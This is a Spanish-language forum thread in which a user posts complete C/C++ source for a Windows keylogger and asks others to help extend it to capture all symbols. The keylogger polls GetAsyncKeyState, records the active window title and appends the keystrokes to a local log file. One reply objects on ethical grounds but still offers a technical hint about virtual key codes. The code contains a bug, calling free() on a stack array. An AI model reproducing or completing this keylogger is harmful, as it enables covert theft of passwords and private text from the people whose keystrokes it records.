Terminando el Keylogger

Iniciado por Citrusl, 24 Septiembre 2014, 02:25 AM

0 Miembros y 2 Visitantes están viendo este tema.

Citrusl

Que tal gente!

Estoy haciendo un keylogger en C++/CPP.

Tomé como influencias ciertos códigos que se han publicado en esta página pero por lo que veo nadie se detuvo a perfeccionar este pequeño keylogger. Lo cual me resulta un desperdicio de posibilidades y talento. (LEER AL FINAL DEL CODIGO)

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

#define OK -32767

int main() {
   
    FILE *log; 
    HWND ventana;   
    time_t ltime;
    int tecla=0;
    int cont=0;
    char TVentana[500] = "";                     
    char Teclas[10240]=""; //      0  1      2          3          4  5          6  7  8              9       10
    char simbol[256][15] =/*0*/  {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
                          /*1*/      "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
                          /*2*/      "","","","","","","[Esc]","","","",
                          /*3*/      ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
                          /*4*/      "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
                          /*5*/      "3","4","5","6","7","8","9","","","",
                          /*6*/      "","","","","a","b","c","d","e","f",
                          /*7*/      "g","h","i","j","k","l","m","n","o","p",
                          /*8*/      "q","r","s","t","u","v","w","x","y","z",
                          /*9*/      "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
                          /*10*/     "4","5","6","7","8","9","*","+"," ","-",".",
                          /*11*/     "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
                          /*12*/     "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
                          /*13*/     " "," "," "," "," "," "," "," "," "," "," ",
                          /*14*/     " "," ","[Bloq Num]"," "," "," "," "," "," ",
                          /*15*/     " "," "," "," "," "," "," "," "," ","[Shift-I]",
                          /*16*/     "[Shift-D]"," "," "," "," "," "," "," "," "," ",
                          /*17*/     " "," "," "," "," "," "," "," "," "," ",
                          /*18*/     " "," "," "," "," "," "," ",",","-",".",
                          /*19*/     " "," "," "," "," "," "," "," "," ",
                          /*20*/     " "," "," "," "," "," "," "," "," "," "," ",
                          /*21*/     " "," "," "," "," "," "," "," ","'","\\",
                          /*22*/     "¡","´" };
     
   log=fopen("log.log","a");
   fprintf(log,"\n/******************************/");
   fprintf(log,"\n/*
  • KeyLoGuer   */");
       fprintf(log,"\n/*
  • Iniciando...OK ");
       fprintf(log,"\n/******************************/");
       fclose(log);
               
       ventana=GetForegroundWindow();
       
       while(1) {
          if((GetForegroundWindow()!=ventana) || (cont==850)){
             if(strlen(TVentana)>0 && strlen(Teclas)>0) {
                time(&ltime);
                ctime(&ltime);

                log=fopen("log.log","a");
                fprintf(log,"\n\n
  • Fecha: %s",ctime(&ltime));
                fprintf(log,"
  • Ventana: %s ",TVentana);
                fprintf(log,"\n
  • Texto: %s",Teclas);
                fprintf(log,"\n ");
                fprintf(log,"\n/******************************/\n");
                fclose(log);

                free(Teclas);
                strcpy(Teclas,"");
                cont = 0;
                }
             ventana=GetForegroundWindow();
             }
          else {
               GetWindowText(ventana,TVentana,500);
               }
          for(tecla=4;tecla<256;tecla++) {
              if (GetAsyncKeyState(tecla)==OK) {
                  strcat(Teclas,simbol[tecla]);
                  printf(" %s \n" ,simbol[tecla]);
                  cont++;
                  }
              }
        }
    }

    Muy buen código y de todos los que vi buscando por internet fue el más simple y efectivo. De todas formas NINGUNO de estos keyloggers puede detectar todo el codigo ASCII.

    Veamos un ejemplo mientras se ejecuta el programa: Si alguien teclea ALT+265 se crea el simbolo "○", Sin embargo en el .log solo se guarda ALT ALT ALT ... 

    NINGUN KEYLOGGER HECHOS EN C++ HASTA AHORA RECONOCE TODA LA SIMBOLOGIA Y ESTO REQUIERE MEJORAS.

    Por favor alguien sabe como completar el código? Es posible hacerlo en C++?

engel lex

usa las etiquetas GeShi para publicar codigo, realmente nadie se a dedicado a mejorarlo porque muchos codigos están puestos por mera razon de analisis o gente queriendo mostrar su "gran" conocimiento en malware, pero el foro en general está contra los actos no eticos o criminales... por eso es que no ves grandes avances el estos temas como un post, es más que todo aprender que hace y como
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Citrusl

Esto es como la ciencia. Puede usarse para el bien o para el mal.

Pero creo que todos estamos de acuerdo en que esta debe seguir avanzando.

Creo que es un buen ejemplo para resolver desde el lado ético. Convengamos que es un keylogger muy simple, fácilmente detectable y es poco probable que alguien pueda usarlo de forma maligna a gran escala.

engel lex

por cierto, modifica el tema y coloca el código en GeSHi  ::)

(por cierto, esto debería haber ido en la sección de "desarrollo y analisis de malware", según creo, pero ya un moderador lo moverá de ser necesario)
realmente no me meto en el tema de los malware, para ser sincero soy muy nazi  con estos temas :laugh: y no veo la manera etica de usar un keylogger (el hecho no es que sea detectable, eso no le da ética, solo lo hace inútil para lammers, que semos sinceros, ya es un buen progreso)... pero solo por el "bien del progreso", tiene un gran error... el codigo lee las letras que llegan al sistema operativo, en lugar de leer las teclas presionadas, con (creo que microsoft lo llama) virtual key code, lees eso y no importa si es ascii o no, porque lo importante va a ser la tecla que se presionó y su representación unicode
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Citrusl

Lo siento, es la primera ves que entro al foro. Apenas le estoy agarrando la mano.

Espero que al menos alguien pueda ayudarme a terminarlo. No eh encontrado nada al respecto sobre este tema.

Gracias por moverlo a la categoría correcta y disculpen las molestias!

engel lex

tranquilo... pero si quieres ve buscando aqui en c++ como aceptar caracteres unicode

ya conseguí el tema
http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx

fíjate que incluso acepta los botones de "play" y cosas así...
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.